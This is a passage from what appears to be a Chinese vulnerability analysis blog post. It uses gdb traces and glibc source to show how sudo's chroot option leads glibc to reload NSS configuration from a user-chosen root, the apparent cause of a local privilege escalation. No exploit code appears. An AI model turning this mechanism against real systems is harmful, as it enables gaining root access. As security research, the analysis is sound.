class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">Breakpoint 1, nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7fffffffc510, database_index&#x3D;nss_database_initgroups)</span><br><span class="line">    at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">warning: 396.&#x2F;nss&#x2F;nss_database.c: No such file or directory</span><br><span class="line">(gdb) bt</span><br><span class="line">#0  nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7fffffffc510, database_index&#x3D;nss_database_initgroups) at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">#1  0x00007ffff7d56ddc in internal_getgrouplist (user&#x3D;user@entry&#x3D;0x5555555a8d98 &quot;root&quot;, group&#x3D;group@entry&#x3D;0, size&#x3D;size@entry&#x3D;0x7fffffffc568,</span><br><span class="line">    groupsp&#x3D;groupsp@entry&#x3D;0x7fffffffc570, limit&#x3D;limit@entry&#x3D;-1) at .&#x2F;nss&#x2F;initgroups.c:75</span><br><span class="line">#2  0x00007ffff7d570dc in getgrouplist (user&#x3D;user@entry&#x3D;0x5555555a8d98 &quot;root&quot;, group&#x3D;group@entry&#x3D;0, groups&#x3D;groups@entry&#x3D;0x7ffff7b15010,</span><br><span class="line">    ngroups&#x3D;ngroups@entry&#x3D;0x7fffffffc5d4) at .&#x2F;nss&#x2F;initgroups.c:156</span><br><span class="line">#3  0x00007ffff7fa51a9 in sudo_getgrouplist2_v1 (name&#x3D;0x5555555a8d98 &quot;root&quot;, basegid&#x3D;0, groupsp&#x3D;groupsp@entry&#x3D;0x7fffffffc630,</span><br><span class="line">    ngroupsp&#x3D;ngroupsp@entry&#x3D;0x7fffffffc63c) at .&#x2F;getgrouplist.c:105</span><br><span class="line">#4  0x00007ffff7ed987e in sudo_make_gidlist_item (pw&#x3D;0x5555555a8d68, ngids&#x3D;&lt;optimized out&gt;, gids&#x3D;&lt;optimized out&gt;, gidstrs&#x3D;0x0, type&#x3D;1) at .&#x2F;pwutil_impl.c:298</span><br><span class="line">#5  0x00007ffff7ed83d5 in sudo_get_gidlist (pw&#x3D;0x5555555a8d68, type&#x3D;type@entry&#x3D;1) at .&#x2F;pwutil.c:1033</span><br><span class="line">#6  0x00007ffff7ecfbcb in runas_getgroups (ctx&#x3D;ctx@entry&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;) at .&#x2F;match.c:146</span><br><span class="line">#7  0x00007ffff7ebbc3c in runas_setgroups (ctx&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;) at .&#x2F;set_perms.c:1634</span><br><span class="line">#8  set_perms (ctx&#x3D;ctx@entry&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;, perm&#x3D;perm@entry&#x3D;5) at .&#x2F;set_perms.c:285</span><br><span class="line">#9  0x00007ffff7edadb8 in resolve_cmnd (ctx&#x3D;ctx@entry&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;, infile&#x3D;infile@entry&#x3D;0x7fffffffe594 &quot;woot&quot;,</span><br><span class="line">    outfile&#x3D;outfile@entry&#x3D;0x7fffffffcc40, path&#x3D;path@entry&#x3D;0x5555555b0400 &quot;&#x2F;usr&#x2F;local&#x2F;sbin:&#x2F;usr&#x2F;local&#x2F;bin:&#x2F;usr&#x2F;sbin:&#x2F;usr&#x2F;bin:&#x2F;sbin:&#x2F;bin:&#x2F;snap&#x2F;bin&quot;)</span><br><span class="line">    at .&#x2F;resolve_cmnd.c:42</span><br><span class="line">#10 0x00007ffff7ebebbc in set_cmnd_path (ctx&#x3D;ctx@entry&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;, runchroot&#x3D;0x5555555a701c &quot;woot&quot;) at .&#x2F;sudoers.c:1108</span><br><span class="line">#11 0x00007ffff7ebf047 in set_cmnd (ctx&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;) at .&#x2F;sudoers.c:1177</span><br><span class="line">#12 sudoers_check_common (pwflag&#x3D;pwflag@entry&#x3D;0, ctx&#x3D;0x7ffff7f296a0 &lt;sudoers_ctx&gt;) at .&#x2F;sudoers.c:358</span><br><span class="line">#13 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc&#x3D;argc@entry&#x3D;1, argv&#x3D;argv@entry&#x3D;0x7fffffffe2d0, env_add&#x3D;env_add@entry&#x3D;0x0,</span><br><span class="line">    closure&#x3D;closure@entry&#x3D;0x7fffffffcdd0) at .&#x2F;sudoers.c:689</span><br><span class="line">#14 0x00007ffff7eb6673 in sudoers_policy_check (argc&#x3D;1, argv&#x3D;0x7fffffffe2d0, env_add&#x3D;0x0, command_infop&#x3D;0x7fffffffcea0, argv_out&#x3D;0x7fffffffcea8,</span><br><span class="line">    user_env_out&#x3D;0x7fffffffceb0, errstr&#x3D;0x7fffffffcec8) at .&#x2F;policy.c:1244</span><br><span class="line">#15 0x000055555555cffb in policy_check (run_envp&#x3D;0x7fffffffceb0, run_argv&#x3D;0x7fffffffcea8, command_info&#x3D;0x7fffffffcea0, env_add&#x3D;0x0, argv&#x3D;0x7fffffffe2d0,</span><br><span class="line">    argc&#x3D;1) at .&#x2F;sudo.c:1266</span><br><span class="line">#16 main (</span><br></pre></td></tr></table></figure><p>当前 <code>nss_database_check_reload_and_get</code> 的第三个参数 <code>database_index</code> 为 <code>nss_database_initgroups</code>， <code>local</code> 参数结构：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(gdb) p *local</span><br><span class="line">$1 &#x3D; &#123;data &#x3D; &#123;nsswitch_conf &#x3D; &#123;size &#x3D; 527, ino &#x3D; 106330, mtime &#x3D; &#123;tv_sec &#x3D; 1751446775, tv_nsec &#x3D; 344332209&#125;, ctime &#x3D; &#123;tv_sec &#x3D; 1751446775,</span><br><span class="line">        tv_nsec &#x3D; 345332238&#125;&#125;, services &#x3D; &#123;0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,</span><br><span class="line">      0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,</span><br><span class="line">      0x5555555a20c0&#125;, reload_disabled &#x3D; 0, initialized &#x3D; true&#125;, lock &#x3D; 0, root_ino &#x3D; 2, root_dev &#x3D; 64769&#125;</span><br></pre></td></tr></table></figure><p> 其中 services 对应如下：<br> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"> DEFINE_DATABASE (aliases)</span><br><span class="line">DEFINE_DATABASE (ethers)</span><br><span class="line">DEFINE_DATABASE (group)</span><br><span class="line">DEFINE_DATABASE (group_compat)</span><br><span class="line">DEFINE_DATABASE (gshadow)</span><br><span class="line">DEFINE_DATABASE (hosts)</span><br><span class="line">DEFINE_DATABASE (initgroups)</span><br><span class="line">DEFINE_DATABASE (netgroup)</span><br><span class="line">DEFINE_DATABASE (networks)</span><br><span class="line">DEFINE_DATABASE (passwd)</span><br><span class="line">DEFINE_DATABASE (passwd_compat)</span><br><span class="line">DEFINE_DATABASE (protocols)</span><br><span class="line">DEFINE_DATABASE (publickey)</span><br><span class="line">DEFINE_DATABASE (rpc)</span><br><span class="line">DEFINE_DATABASE (services)</span><br><span class="line">DEFINE_DATABASE (shadow)</span><br><span class="line">DEFINE_DATABASE (shadow_compat)</span><br></pre></td></tr></table></figure></p><p>在进 <code>nss_database_reload</code> 函数的时候，里面有个逻辑是， 如果 <code>staging-&gt;services[i] == NULL</code> 就设置为 default 的值，  </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; NSS_DATABASE_COUNT; ++i)</span><br><span class="line">  <span class="keyword">if</span> (staging-&gt;services[i] == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      ok = nss_database_select_default (&amp;cache, i,</span><br><span class="line">                                        &amp;staging-&gt;services[i]);</span><br><span class="line">      <span class="keyword">if</span> (!ok)</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>由 <code>nss_database_select_default</code> 获取然后设置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> <span class="keyword">char</span> per_database_defaults[NSS_DATABASE_COUNT] =</span><br><span class="line">  &#123;</span><br><span class="line">   [nss_database_group] = nss_database_default_compat,</span><br><span class="line">   [nss_database_group_compat] = nss_database_default_nis,</span><br><span class="line">   [nss_database_gshadow] = nss_database_default_files,</span><br><span class="line">   [nss_database_hosts] = nss_database_default_dns,</span><br><span class="line">   [nss_database_initgroups] = nss_database_default_none,</span><br><span class="line">   [nss_database_networks] = nss_database_default_dns,</span><br><span class="line">   [nss_database_passwd] = nss_database_default_compat,</span><br><span class="line">   [nss_database_passwd_compat] = nss_database_default_nis,</span><br><span class="line">   [nss_database_publickey] = nss_database_default_nis_nisplus,</span><br><span class="line">   [nss_database_shadow] = nss_database_default_compat,</span><br><span class="line">   [nss_database_shadow_compat] = nss_database_default_nis,</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">bool</span></span><br><span class="line">nss_database_select_default (struct nss_database_default_cache *cache,</span><br><span class="line">                             <span class="keyword">enum</span> nss_database db, nss_action_list *result)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="class"><span class="keyword">enum</span> <span class="title">nss_database_default</span> <span class="title">def</span> =</span> per_database_defaults[db];</span><br><span class="line">...</span><br><span class="line"><span class="keyword">case</span> nss_database_default_none:</span><br><span class="line">      <span class="comment">/* Very special case: Leave *result as NULL.  */</span></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">...</span><br><span class="line">  *result = __nss_action_parse (line);</span><br><span class="line">  <span class="keyword">if</span> (*result == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      assert (errno == ENOMEM);</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">true</span>;</span><br></pre></td></tr></table></figure><p>在 <code>nss_database_initgroups</code> 设置的时候，默认为 None， 因此此时 <code>service</code> 为 <code>nss_database_initgroups</code> 是 0x0 (<strong>这个很重要</strong>)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(gdb) p *local</span><br><span class="line">$1 &#x3D; &#123;data &#x3D; &#123;nsswitch_conf &#x3D; &#123;size &#x3D; 527, ino &#x3D; 106330, mtime &#x3D; &#123;tv_sec &#x3D; 1751446775, tv_nsec &#x3D; 344332209&#125;, ctime &#x3D; &#123;tv_sec &#x3D; 1751446775,</span><br><span class="line">        tv_nsec &#x3D; 345332238&#125;&#125;, services &#x3D; &#123;0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,</span><br><span class="line">      0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,</span><br><span class="line">      0x5555555a20c0&#125;, reload_disabled &#x3D; 0, initialized &#x3D; true&#125;, lock &#x3D; 0, root_ino &#x3D; 2, root_dev &#x3D; 64769&#125;</span><br></pre></td></tr></table></figure><p>解释了下，此时<code>((struct nss_database_state *)local)-&gt;data.services[nss_database_initgroups]</code>为空的原因，我们接着回到 <code>nss_database_check_reload_and_get</code>的代码里：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">bool</span></span><br><span class="line">nss_database_check_reload_and_get (struct nss_database_state *local,</span><br><span class="line">                                   nss_action_list *result,</span><br><span class="line">                                   <span class="keyword">enum</span> nss_database database_index)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> __<span class="title">stat64_t64</span> <span class="title">str</span>;</span></span><br><span class="line">  <span class="comment">/* Acquire MO is needed because the thread that sets reload_disabled</span></span><br><span class="line"><span class="comment">     may have loaded the configuration first, so synchronize with the</span></span><br><span class="line"><span class="comment">     Release MO store there.  */</span></span><br><span class="line">  <span class="keyword">if</span> (atomic_load_acquire (&amp;local-&gt;data.reload_disabled))</span><br><span class="line">    &#123;</span><br><span class="line">      *result = local-&gt;data.services[database_index];</span><br><span class="line">      <span class="comment">/* No reload, so there is no error.  */</span></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">file_change_detection</span> <span class="title">initial</span>;</span></span><br><span class="line">  <span class="keyword">if</span> (!__file_change_detection_for_path (&amp;initial, _PATH_NSSWITCH_CONF))</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">  __libc_lock_lock (local-&gt;lock);</span><br><span class="line">  <span class="keyword">if</span> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf))</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="comment">/* Configuration is up-to-date.  Read it and return it to the</span></span><br><span class="line"><span class="comment">         caller.  */</span></span><br><span class="line">      *result = local-&gt;data.services[database_index];</span><br><span class="line">      __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">int</span> stat_rv = __stat64_time64 (<span class="string">&quot;/&quot;</span>, &amp;str);</span><br><span class="line">  <span class="keyword">if</span> (local-&gt;data.services[database_index] != <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="comment">/* Before we reload, verify that &quot;/&quot; hasn&#x27;t changed.  We assume that</span></span><br><span class="line"><span class="comment">        errors here are very unlikely, but the chance that we&#x27;re entering</span></span><br><span class="line"><span class="comment">        a container is also very unlikely, so we err on the side of both</span></span><br><span class="line"><span class="comment">        very unlikely things not happening at the same time.  */</span></span><br><span class="line">      <span class="keyword">if</span> (stat_rv != <span class="number">0</span></span><br><span class="line">  || (local-&gt;root_ino != <span class="number">0</span></span><br><span class="line">      &amp;&amp; (str.st_ino != local-&gt;root_ino</span><br><span class="line">  ||  str.st_dev != local-&gt;root_dev)))</span><br><span class="line">&#123;</span><br><span class="line">        <span class="comment">/* Change detected; disable reloading and return current state.  */</span></span><br><span class="line">        atomic_store_release (&amp;local-&gt;data.reload_disabled, <span class="number">1</span>);</span><br><span class="line">        *result = local-&gt;data.services[database_index];</span><br><span class="line">        __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">if</span> (stat_rv == <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      local-&gt;root_ino = str.st_ino;</span><br><span class="line">      local-&gt;root_dev = str.st_dev;</span><br><span class="line">    &#125;</span><br><span class="line">  __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">  <span class="comment">/* Avoid overwriting the global configuration until we have loaded</span></span><br><span class="line"><span class="comment">     everything successfully.  Otherwise, if the file change</span></span><br><span class="line"><span class="comment">     information changes back to what is in the global configuration,</span></span><br><span class="line"><span class="comment">     the lookups would use the partially-written  configuration.  */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">nss_database_data</span> <span class="title">staging</span> =</span> &#123; .initialized = <span class="literal">true</span>, &#125;;</span><br><span class="line">  <span class="keyword">bool</span> ok = nss_database_reload (&amp;staging, &amp;initial);</span><br><span class="line">  <span class="keyword">if</span> (ok)</span><br><span class="line">    &#123;</span><br><span class="line">      __libc_lock_lock (local-&gt;lock);</span><br><span class="line">      <span class="comment">/* See above for memory order.  */</span></span><br><span class="line">      <span class="keyword">if</span> (!atomic_load_acquire (&amp;local-&gt;data.reload_disabled))</span><br><span class="line">        <span class="comment">/* This may go back in time if another thread beats this</span></span><br><span class="line"><span class="comment">           thread with the update, but in this case, a reload happens</span></span><br><span class="line"><span class="comment">           on the next NSS call.  */</span></span><br><span class="line">        local-&gt;data = staging;</span><br><span class="line">      *result = local-&gt;data.services[database_index];</span><br><span class="line">      __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">return</span> ok;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在刚进 <code>nss_database_check_reload_and_get</code> 函数的时候， 先是判断 <code>local-&gt;data.reload_dsiable</code><br>是否为 True， 如果为True 则直接 return</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (atomic_load_acquire (&amp;local-&gt;data.reload_disabled))</span><br><span class="line">  &#123;</span><br><span class="line">    *result = local-&gt;data.services[database_index];</span><br><span class="line">    <span class="comment">/* No reload, so there is no error.  */</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>然后是判断<code>/etc/nsswitch.conf</code>文件是否修改:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file_change_detection</span> <span class="title">initial</span>;</span></span><br><span class="line"><span class="keyword">if</span> (!__file_change_detection_for_path (&amp;initial, _PATH_NSSWITCH_CONF))</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">__libc_lock_lock (local-&gt;lock);</span><br><span class="line"><span class="keyword">if</span> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf))</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="comment">/* Configuration is up-to-date.  Read it and return it to the</span></span><br><span class="line"><span class="comment">       caller.  */</span></span><br><span class="line">    *result = local-&gt;data.services[database_index];</span><br><span class="line">    __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>因为此时是刚 <code>chroot</code> 进来， 所以此时的 <code>/etc/nsswitch.conf</code>是一个修改的状态，所以代码会继续往下走。然后是一个重点逻辑, 如果代码判断成功，则设置 <code>local-&gt;data.reload_disabled</code> 的值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">if</span> (local-&gt;data.services[database_index] != <span class="literal">NULL</span>)</span><br><span class="line">   &#123;</span><br><span class="line">     <span class="comment">/* Before we reload, verify that &quot;/&quot; hasn&#x27;t changed.  We assume that</span></span><br><span class="line"><span class="comment">       errors here are very unlikely, but the chance that we&#x27;re entering</span></span><br><span class="line"><span class="comment">       a container is also very unlikely, so we err on the side of both</span></span><br><span class="line"><span class="comment">       very unlikely things not happening at the same time.  */</span></span><br><span class="line">     <span class="keyword">if</span> (stat_rv != <span class="number">0</span></span><br><span class="line">  || (local-&gt;root_ino != <span class="number">0</span></span><br><span class="line">      &amp;&amp; (str.st_ino != local-&gt;root_ino</span><br><span class="line">  ||  str.st_dev != local-&gt;root_dev)))</span><br><span class="line">&#123;</span><br><span class="line">       <span class="comment">/* Change detected; disable reloading and return current state.  */</span></span><br><span class="line">       atomic_store_release (&amp;local-&gt;data.reload_disabled, <span class="number">1</span>);</span><br><span class="line">       *result = local-&gt;data.services[database_index];</span><br><span class="line">       __libc_lock_unlock (local-&gt;lock);</span><br><span class="line">       <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">     &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>因为当前 <code>local-&gt;data.services[database_index]</code> 为 NULL （此时<code>((struct nss_database_state *)local)-&gt;data.services[nss_database_initgroups]</code>为空）</p><p>因此不会去设置 <code>local-&gt;data.reload_disabled</code> ， 此时 <code>local-&gt;data.reload_disabled</code> 仍然为 0</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(gdb) p ((struct nss_database_state *)local)-&gt;data.reload_disabled</span><br><span class="line">$8 &#x3D; 0</span><br></pre></td></tr></table></figure><p>然后保存当前的 root inode 和 root dev</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (stat_rv == <span class="number">0</span>)</span><br><span class="line">  &#123;</span><br><span class="line">    local-&gt;root_ino = str.st_ino;</span><br><span class="line">    local-&gt;root_dev = str.st_dev;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>最后就走到 <code>  bool ok = nss_database_reload (&amp;staging, &amp;initial);</code> 进行 database 的reload。</p><blockquote><p>[!小结]</p><p> 这里就解答了第一个问题， 由于 <code>getgrouplist</code> 的调用因此调用了<code>nss_database_check_reload_and_get</code> 函数。</p><p> 在<code>nss_database_check_reload_and_get</code>函数里，由于此时 <code>reload_disabled</code> 没有设置且<code>services[nss_database_initgroups]</code> 是空，所以走到了 <code>nss_database_reload</code> 。</p></blockquote><h3 id="reload-disabled"><a href="#reload-disabled" class="headerlink" title="reload_disabled"></a>reload_disabled</h3><p>对 <code>nss_database_check_reload_and_get</code> 断点 ， 并在 <code>pivot_root</code> 和<code>unpivot_root</code> 下断点。然后打印出在  <code>nss_database_check_reload_and_get</code> 的第三个参数<code>database_index</code> 。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&gt;end</span><br><span class="line">(gdb) i b</span><br><span class="line">Num     Type           Disp Enb Address            What</span><br><span class="line">3       breakpoint     keep y   &lt;MULTIPLE&gt;</span><br><span class="line">3.1                         y   0x00007ffff7d2b050 in pivot_root at ..&#x2F;sysdeps&#x2F;unix&#x2F;syscall-template.S:120</span><br><span class="line">3.2                         y   0x00007ffff7eb59b0 in pivot_root at .&#x2F;pivot.c:39</span><br><span class="line">4       breakpoint     keep y   0x00007ffff7eb5b00 in unpivot_root at .&#x2F;pivot.c:64</span><br><span class="line">5       breakpoint     keep y   0x00007ffff7d52300 in nss_database_check_reload_and_get at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">        i r rdx</span><br><span class="line">        c</span><br><span class="line">(gdb)</span><br></pre></td></tr></table></figure><p>我们可以清楚的看到在 <code>pivot_root</code> 和 <code>unpivot_root</code> 前后 <code>nss_database_check_reload_and_get</code> 的参数不同：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">Breakpoint 3.2, pivot_root (new_root&#x3D;0x5555555a701c &quot;woot&quot;, state&#x3D;0x7fffffffcc38) at .&#x2F;pivot.c:39</span><br><span class="line">39&#123;</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line">Download failed: Invalid argument.  Continuing without source file .&#x2F;nss&#x2F;.&#x2F;nss&#x2F;nss_database.c.</span><br><span class="line"></span><br><span class="line">Breakpoint 5, nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7fffffffc510, database_index&#x3D;nss_database_initgroups)</span><br><span class="line">    at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">warning: 396.&#x2F;nss&#x2F;nss_database.c: No such file or directory</span><br><span class="line">rdx            0x6                 6</span><br><span class="line"></span><br><span class="line">Breakpoint 5, nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7fffffffc510, database_index&#x3D;nss_database_group) at .&#x2F;nss&#x2F;nss_database.c:396</span><br><span class="line">396in .&#x2F;nss&#x2F;nss_database.c</span><br><span class="line">rdx            0x2                 2</span><br><span class="line"></span><br><span class="line">Breakpoint 4, unpivot_root (state&#x3D;state@entry&#x3D;0x7fffffffcc38) at .&#x2F;pivot.c:64</span><br><span class="line">64&#123;</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line">Download failed: Invalid argument.  Continuing without source file .&#x2F;nss&#x2F;.&#x2F;nss&#x2F;nss_database.c.</span><br><span class="line"></span><br><span class="line">Breakpoint 5, nss_database_check_reload_and_get (local&#x3D;0x5555555a1ad0, result&#x3D;0x7ffff7e10b68 